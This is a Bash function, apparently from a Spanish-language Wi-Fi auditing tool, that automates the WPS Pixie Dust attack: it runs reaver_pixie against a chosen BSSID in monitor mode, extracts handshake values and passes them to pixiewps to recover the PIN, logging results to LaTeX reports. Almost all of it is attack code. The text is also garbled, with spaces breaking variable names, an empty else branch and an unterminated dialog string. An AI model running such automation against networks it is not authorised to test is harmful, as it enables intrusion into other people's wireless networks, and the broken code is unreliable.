```
Atacarreaver(){
  TARJETA_SELECCIONADA=`cat $ARCHIVO_TARJETA_SELECCIONADA`
  TARJETA MODO MONITOR=`cat $ARCHIVO TARJETA MONITOR`
  ifconfig $TARJETA SELECCIONADA up &> /dev/null
  ATAQUE DETENIDO="NO"
  (`sudo python "$RUTA INFORME/SECWPA1.py" $BSSID "$ESSID" $CANAL
$TARJETA MODO MONITOR`)
  echo "ATACANDO BSSID $BSSID EN CANAL $CANAL" > $ARCHIVO STATUSBAR
  X1="reaver_pixie -F -G -i $TARJETA_MODO_MONITOR -b $BSSID -c
$CANAL -a -n -vv -D"
  reaver_pixie -F -G -i $TARJETA_MODO_MONITOR -b $BSSID -c $CANAL -a
-n -vv -D > $ARCHIVO_TXT_ATAQUE 2> /dev/null
  if ! EsperarAcabarReaver
  then
    if [ $AUTOMATICO = 0 ]
    then
      if [ $vez -eq 1 ]
      then
        #Infome Latex SUBSWPA1-Template.tex
        X2="NO SE HAN PODIDO OBTENER LOS DATOS NECESARIOS DE $BSSID"
        X3="..LOGS\TXT ATASQUE"
        X4="FIN-Template"
        (`sudo python "$RUTA_INFORME/SUBSWPA1.py" "$X1" "$X2" "$X3"
"$X4"`)
      else
      fi
    fi
    if [ $vez -eq 1 ]
    then
        AgregarBssidDatabases 1
        ATAQUE_ACABADO="SI"
        if [ $ACTUALIZAR_SCAN = "SI" ]; then
ProcesarDatosEscaneoAirodump; fi
        echo "1" > $ARCHIVO LOG
        return 1
    fi
  if [ $ATAQUE_DETENIDO = "SI" ];
  then return;
  fi
  if ! ExtraerDatosReaver
  then
    if [ $AUTOMATICO = 0 ]; then yad --image "error" --title "ATAQUE
FALLIDO"
       --button=gtk-ok:0 --text "<b>ERROR</b>: $MENSAJE ERROR DE
       --fixed --on-top --center --window-icon=ICONOS/SCRIPT.png ;
```

```
fi
        echo "$MENSAJE_ERROR DE $BSSID" > $ARCHIVO_STATUSBAR
        echo "1" > $ARCHIVO LOG
    AgregarBssidDatabases 1
    ATAQUE ACABADO="SI"
    if [ $ACTUALIZAR SCAN = "SI" ];
    then ProcesarDatosEscaneoAirodump;
    fi
        #Infome Latex SECWPA1-Template.tex
        X2="NO SE HAN PODIDO OBTENER LOS DATOS NECESARIOS DE $BSSID"
        X3="..LOGS\TXT_ATAQUE"
        X4="FIN-Template"
        (`sudo python "$RUTA_INFORME/SUBSWPA1.py" "$X1" "$X2" "$X3"
"$X4"`)
    echo "1" > $ARCHIVO_LOG
    return
  fi
  echo "PROBANDO CON PIXIEWPS 1.0 by wiire" > $ARCHIVO_STATUSBAR
 #Infome Latex SECWPA1-Template.tex
  X2="Se ha obtenido la informaciÛn requerida"
 X3="pixiewps -e $PKe -r $PKr -s $EHash1 -z $EHash2 -a $AuthKey -n
$Enrollee"
 X4="PIXIEWPS"
  (`sudo python "$RUTA_INFORME/SUBSWPA1.py" "$X1" "$X2" "$X3"
"$X4"`)
  pixiewps -e $PKe -r $PKr -s $EHash1 -z $EHash2 -a $AuthKey -n
$Enrollee &>> $ARCHIVO TXT ATAQUE
 AnalizarLogPixiewps
  echo "1" > $ARCHIVO_LOG
}
```